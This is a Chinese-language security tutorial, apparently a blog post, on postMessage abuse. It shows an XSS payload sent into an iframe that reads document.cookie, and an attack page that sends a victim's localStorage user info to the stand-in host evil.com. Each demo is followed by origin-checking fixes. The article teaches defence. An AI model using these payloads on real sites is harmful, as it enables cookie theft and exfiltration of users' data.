postMessage 濫用導致的安全風險
0x00 介紹
postMessage是html5新增的一個解決跨域的方法,主要解決不同源的指令碼採用非同步方式進行有限的通訊,可以實現跨文字檔、多視窗、跨域訊息傳遞,多用於頁面與巢狀的iframe訊息傳遞。由於預設允許跨域,所以導致一些安全問題,主要攻擊方式有兩種,一是偽造資料傳送端,易造成XSS,二是偽造資料獲取端,類似JSONP劫持。
0x01 偽造資料傳送端
1. Demo
以下面Demo進行測試分析
child.html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Web page from child.com</title> <script type="text/JavaScript/">JavaScript"> //event 引數中有 data 屬性,就是父視窗傳送過來的資料 window.addEventListener("message", function( event ) { // 把父視窗傳送過來的資料顯示在子視窗中 document.getElementById("content").innerHTML+=event.data + "origin: " + event.origin+"<br/>"; }, false ); </script> </head> <body> Web page from http://p1.com <div id="content"></div> </body> </html>
child.html
接受任意視窗的訊息,並對訊息進行輸出。
2. 攻擊測試
attack.html
<iframe src="http://p1.com/postmessage/child.html" id="otherPage"></iframe> <script type="text/JavaScript"> var i = document.getElementById("otherPage"); i.onload = function(){ i.contentWindow .postMessage("<img src=x onerror='alert(document.cookie);'", "*"); } </script>
攻擊者將attack.html放於自己的vps上,誘導使用者點選,便可觸發xss攻擊。
3. 原理分析
正常情況下,父視窗中傳送的訊息為使用者不可控訊息,此時不存在漏洞,但是子視窗接受父視窗的訊息時未對父視窗來源進行限制,並且對父視窗的訊息進行輸出,所以黑客可偽造父視窗,給子視窗傳送有效攻擊載荷,從而觸發漏洞。
該處風險不僅限於XSS
,如訂單支付時由父視窗傳輸訂單詳情,子視窗處理支付流程,黑客篡改訂單詳情,使使用者支付了本不屬於自己的訂單,這種場景也不無可能。
4. 安全應對方案
應對父視窗的來源進行判斷,只接受可信父視窗傳輸的資料。
例項:
<script type="text/JavaScript"> //event 引數中有 data 屬性,就是父視窗傳送過來的資料 onmessage = function( event ) { if(event.origin == 'http://p1.com'){ /* to do something */ } }; </script>
0x02 偽造資料接收端
1. Demo
以下面Demo進行測試分析
child.html
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>User info center</title> <script type="text/JavaScript"> var userinfo=localStorage.getItem("userinfo"); window.parent.postMessage(userinfo, "*"); </script> </head> <body> Web page from http://p1.com </body> </html>
child.html
可以給任意父視窗傳送資訊。
2. 攻擊測試
attack.html
<script type="text/JavaScript"> onmessage = function( event ) { if(event.origin == "http://p1.com"){ var img=new Image(); img.src='http://evil.com/?userinfo='+event.data; document.getElementById("otherPage").appendChild(img); } }; </script> <iframe src="http://p1.com/postmessage/child1.html" id="otherPage"></iframe>
攻擊者將attack.html放於自己的vps上,誘導使用者點選,使用者點選後在 evil.com
上便可收到使用者的敏感資訊。
3. 原理分析
postMessage()
接受兩個引數,第一個引數為向另外一個視窗傳遞的資料(只能傳字串型別),第二個引數表示目標視窗的源,協議+主機+埠號,是為了安全考慮,如果設定為 *
,則表示可以傳遞給任意視窗。所以黑客可以偽造父視窗,從而劫持子視窗儲存的使用者資訊。
4. 安全應對方案
合理配置 postMessage()
第二個引數,不貪圖方便使用 *
配置,嚴格限制父視窗來源。
例項:
<script type="text/JavaScript"> var userinfo=localStorage.getItem("userinfo"); window.parent.postMessage(userinfo, "http://p0.com"); // 限制只能給http://p0.com視窗傳送資料 </script>
著作權歸作者所有。
商業轉載請聯絡作者獲得授權,非商業轉載請註明出處。
作者:p0
連結:https://p0sec.net/index.php/archives/124/
來源:https://p0sec.net/